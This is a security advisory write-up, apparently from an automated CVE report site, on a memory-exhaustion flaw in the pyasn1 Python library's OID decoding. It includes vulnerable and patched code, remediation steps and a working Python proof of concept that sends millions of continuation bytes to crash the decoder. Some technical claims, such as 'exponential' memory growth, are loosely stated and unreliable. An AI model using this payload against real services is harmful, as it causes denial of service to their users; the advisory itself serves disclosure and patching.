CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-23490
7.50.06%

Death by a Thousand Shifts: Inside the pyasn1 Memory Exhaustion

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 16, 2026·7 min read·27 visits

PoC Available

Executive Summary (TL;DR)

pyasn1 versions prior to 0.6.2 allow unbounded memory allocation during OID decoding. An attacker can send a maliciously crafted ASN.1 payload containing a massive number of 'continuation' bytes, forcing the library to construct an infinitely large integer until the system runs out of RAM.

A deep-dive analysis of a critical Denial of Service vulnerability in pyasn1, the de facto Python library for ASN.1 serialization. By exploiting the Variable Length Quantity (VLQ) decoding logic, attackers can trigger infinite memory allocation, crashing services via OOM (Out of Memory) conditions.

The Hook: The Protocol That Time Forgot

If you work in security, you know ASN.1 (Abstract Syntax Notation One). It is the cockroach of data serialization protocols: ancient, ugly, and impossible to kill. It underpins everything from the SNMP traffic managing your switches to the X.509 certificates securing your HTTPS connections. In the Python ecosystem, pyasn1 is the workhorse library that translates this binary soup into readable Python objects.

But here is the thing about parsing binary data: you are essentially taking untrusted input and asking your CPU to perform math on it. When that math involves length calculations or value shifts, you are walking a tightrope. CVE-2026-23490 is what happens when you fall off that tightrope.

This isn't a buffer overflow in the traditional C sense. It is a logic flaw in how Python handles integers combined with a naive implementation of a decoding algorithm. It turns a feature of Python—arbitrary-precision integers—into a weapon of mass destruction for your RAM. If you have an endpoint exposed that accepts ASN.1 (like an LDAP server or a custom protocol listener), you are holding a grenade with the pin pulled.

The Flaw: The Integer That Never Stopped Growing

To understand this exploit, you have to understand how Object Identifiers (OIDs) are encoded. OIDs use something called Variable Length Quantity (VLQ) or Base-128 encoding. The logic is simple: you read a byte. If the most significant bit (the 8th bit) is 1, it means "there is more data coming for this specific number." You take the lower 7 bits, add them to your accumulator, and move to the next byte.

Here is the pseudocode for how pyasn1 (and many other decoders) handled this:

value = 0
while True:
    byte = read_byte()
    # Shift the previous value 7 bits to the left
    value = (value << 7) | (byte & 0x7F)
    # If the continuation bit (0x80) is NOT set, we are done
    if not (byte & 0x80):
        break

Do you see the problem? There was no brake pedal. The loop continues as long as the incoming bytes have that continuation bit set. In a language like C, you would eventually overflow a 32-bit or 64-bit integer, wrapping around or erroring out. But this is Python. Python integers are objects that automatically expand to fill available memory.

An attacker effectively says: "I'm sending you a number. It's not done yet... still not done... still not done..." for millions of bytes. pyasn1 dutifully shifts the value left by 7 bits for every single byte. This creates an integer object so massive that it consumes gigabytes of RAM in seconds, invoking the wrath of the Linux OOM (Out of Memory) Killer.

The Code: Anatomy of a Fix

The fix, landed in version 0.6.2, is a classic example of "defensive programming." The maintainers realized that no legitimate OID arc needs to be larger than the observable universe. They introduced a hard limit.

Let's look at the critical diff in pyasn1/codec/ber/decoder.py. The patch introduces a sanity check counter.

The Vulnerable Logic (Conceptual):

# Old behavior: blindly trusting the stream
while (octet & 0x80):
    value = (value << 7) | (octet & 0x7F)
    octet = read_next()

The Patched Logic (Commit 3908f14):

MAX_OID_ARC_CONTINUATION_OCTETS = 20
 
# ... inside the decoder loop ...
continuationOctetCount = 0
while (octet & 0x80):
    continuationOctetCount += 1
    if continuationOctetCount > MAX_OID_ARC_CONTINUATION_OCTETS:
         raise error.PyAsn1Error('OID arc too long')
    
    value = (value << 7) | (octet & 0x7F)

They set the limit to 20 octets. Since each octet contributes 7 bits of data, 20 octets allow for a 140-bit number. This is more than enough to handle standard OIDs and even UUID-based OIDs (which are 128-bit), but it stops the infinite loop dead in its tracks. It is a simple if statement that saves the entire application from crashing.

The Exploit: Weaponizing Mathematics

Exploiting this is trivially easy. We don't need shellcode, we don't need ROP chains, and we don't need to bypass ASLR. We just need to send a lie. We construct a valid ASN.1 sequence where the length field claims we have data, but the data itself is a never-ending stream of continuation bytes.

Here is a functional Proof-of-Concept (PoC) that demonstrates the issue. This script generates a payload that looks like a valid OID start, but then drags on for 10 million bytes.

import time
from pyasn1.codec.ber import decoder
 
# 0x06 is the ASN.1 Tag for OBJECT IDENTIFIER
# The length is arbitrary here, as long as the parser keeps reading.
# We use 0x81 (10000001) which means "Value: 1, Continuation: True"
 
print("[*] Generating malicious payload...")
payload = b'\x06\x82\xFF\xFF'  # Tag: OID, Length: 65535 (just to start reading)
payload += b'\x81' * 5000000    # 5 million continuation bytes
payload += b'\x01'              # The terminator (optional, usually crashes before this)
 
print("[*] Feeding payload to vulnerable decoder...")
try:
    # In a real attack, this happens when the server parses a packet
    decoder.decode(payload)
except MemoryError:
    print("[!] Target crushed. Memory exhausted.")
except Exception as e:
    print(f"[-] Crashed with: {e}")

> [!NOTE] > Why this works: When pyasn1 parses those 5 million 0x81 bytes, it isn't just storing 5MB of data. It is computing (prev << 7) | 1. The computational cost of manipulating a 35-million-bit integer (5MB * 7 bits) in software is astronomical, and the memory footprint of the Python object representing that number grows exponentially relative to the input size.

The Impact: When the OOM Killer Knocks

The impact here is a high-reliability Denial of Service. In a containerized environment (like Kubernetes), this is particularly brutal. If your Python microservice parses ASN.1 (perhaps validation of a client certificate or processing a file upload), a single request can spike memory usage to 100% of the container's limit.

The Blast Radius:

  • LDAP Servers: Many Python-based LDAP implementations use pyasn1 to decode protocol operations.
  • SNMP Agents: SNMP is entirely ASN.1 based. A malicious 'GetRequest' could crash the monitoring agent.
  • Cryptography: Libraries that parse X.509 CSRs or Certificates often rely on pyasn1. An attacker submitting a malicious CSR could take down the signing server.

Because this consumes memory on the heap, it's often cleaner than a stack overflow. There's no segfault leaving a core dump to analyze; the process just vanishes when the OS kills it to save the rest of the system. It creates a "mystery crash" scenario that keeps Ops teams awake at night.

The Fix: Stopping the Bleeding

The remediation is straightforward: Update pyasn1 to version 0.6.2 or higher.

If you are pinning versions in your requirements.txt (and you should be), check specifically for this package. It is often a transitive dependency, meaning you might not even know you are using it. It might be pulled in by pyasn1-modules, ldap3, or pysnmp.

Manual Verification:

pip freeze | grep pyasn1
# If output is < 0.6.2, you are vulnerable.

If you cannot patch immediately, your only defense is to sanitize input before it reaches the decoder, perhaps by enforcing strict size limits on the raw byte stream. However, since the explosion happens inside the OID decoding logic, even a relatively small network packet (a few megabytes) can expand into gigabytes of RAM usage. Patching is the only robust solution.

Official Patches

pyasn1Official Release Notes for 0.6.2
DebianDebian LTS Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.06%
Top 83% most exploited

Affected Systems

LDAP Servers/Clients (via ldap3)SNMP Agents (via pysnmp)X.509 Certificate ParsersKerberos implementations (via pyasn1-modules)Any Python application processing untrusted BER/DER data

Affected Versions Detail

Product
Affected Versions
Fixed Version
pyasn1
pyasn1
< 0.6.20.6.2
AttributeDetail
CWE IDCWE-770
Attack VectorNetwork (AV:N)
CVSS Score7.5 (High)
EPSS Score0.00055
ImpactDenial of Service (Memory Exhaustion)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.004Application or System Exploitation
Impact
CWE-770
Allocation of Resources Without Limits or Throttling

Allocation of Resources Without Limits or Throttling

Known Exploits & Detection

GitHubUnit tests in the patch act as a Proof of Concept (PoC) for the memory exhaustion.

Vulnerability Timeline

Vulnerability Disclosed & Patch Released
2026-01-16
GHSA-63vm-454h-vhhq Published
2026-01-16
Debian LTS Advisory Released
2026-02-01

References & Sources

  • [1]GitHub Advisory
  • [2]NIST NVD

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.